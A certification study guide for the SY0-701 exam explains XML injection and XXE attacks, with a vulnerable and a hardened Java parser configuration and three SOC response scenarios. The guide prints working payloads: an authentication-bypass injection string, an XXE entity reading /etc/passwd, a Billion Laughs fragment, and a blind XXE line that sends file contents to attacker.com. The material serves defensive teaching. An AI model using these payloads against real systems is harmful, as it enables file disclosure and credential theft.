XML Injection and XXE Attacks

XML Injection is a type of injection attack where an attacker manipulates an XML document by inserting malicious XML content. The goal is to alter the intended logic of the application, such as bypassing authentication, modifying data, or triggering unintended behavior. It occurs when an application constructs XML documents using unsanitized user input. For example, if an application builds an XML query by concatenating user-supplied strings, an attacker can break out of the XML structure and inject new elements or attributes.

Consider a web service that accepts a username and password to authenticate a user. The server-side code might build an XML document like this:

<login>
  <user>input_username</user>
  <pass>input_password</pass>
</login>

If the application does not sanitize the input, an attacker can supply a username like:

admin</user><pass>anything</pass></login><login><user>admin

The resulting XML becomes:

<login>
  <user>admin</user><pass>anything</pass></login><login><user>admin</user>
  <pass>input_password</pass>
</login>

The parser may accept the first <login> block and authenticate as 'admin' with password 'anything'. This is a classic XML injection that breaks the XML structure.

XXE is a more dangerous variant that exploits the XML parser's ability to process external entities. An XML entity is a placeholder for content, defined in the Document Type Definition (DTD). External entities can reference external resources via a URL. When the parser processes the entity, it retrieves the resource and includes it in the document. An attacker can define a malicious entity that reads local files, performs SSRF, or causes denial of service.

An attacker submits an XML document with a crafted DTD that declares an external entity pointing to a sensitive file:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

When the parser processes this, it replaces &xxe; with the contents of /etc/passwd. The application then returns the file content in the response or logs it, leading to data disclosure.

<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
...

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfil;

For the exam, remember that XXE is often associated with SOAP web services, REST APIs that accept XML, and document parsers in legacy systems.

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(request.getInputStream()));
// Process document...

This code is vulnerable because it does not disable DTDs or external entities. A secure version would be:

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(request.getInputStream()));

XML Injection and XXE are critical vulnerabilities that exploit the trust an XML parser places in the document structure and entity declarations. The key to defense is disabling unnecessary parser features and validating input. On the SY0-701 exam, expect scenario-based questions where you must identify the vulnerability and choose the correct mitigation.

A financial institution uses a SOAP-based API for account balance inquiries. The API accepts XML requests with a user ID. An attacker discovers that the XML parser processes DTDs. They craft an XXE payload to read the server's /etc/shadow file. The API returns the file content in the error message. The SOC analyst sees an alert for "unusually large response size" and a spike in error logs containing "root:...". The analyst uses Wireshark to capture the response and identifies the leaked shadow file. The correct response is to immediately disable DTD processing in the parser, rotate all credentials, and conduct a forensic analysis. A common mistake is to only block the attacker's IP, which does not fix the underlying vulnerability.

A cloud-hosted web application accepts XML configuration uploads. An attacker uses XXE to make the server request the AWS metadata endpoint (http://169.254.169.254/latest/meta-data/iam/security-credentials/). The server returns IAM temporary credentials. The SOC team detects an anomalous outbound connection from the application server to 169.254.169.254:80, which is unusual because the server normally does not make such requests. The analyst uses cloud trail logs to see the API calls made with the stolen credentials. The correct response is to revoke the compromised credentials, apply network policies to block access to metadata endpoints from application servers, and disable DTD processing. A common mistake is to assume the metadata endpoint is only accessible from the instance itself, but the attacker used the server as a proxy.

A document management system allows users to upload XML files for processing. An attacker uploads an XML file with recursive entity expansion (Billion Laughs attack). The server's memory usage spikes, causing the application to become unresponsive. The SOC team sees a high CPU and memory alert on the server. The analyst checks the process list and finds the Java XML parser consuming excessive resources. The correct response is to kill the process, block the attacker's IP, and configure the parser to limit entity expansion depth (e.g., set FEATURE_SECURE_PROCESSING in Java). A common mistake is to restart the server without fixing the parser configuration, leading to a repeat attack.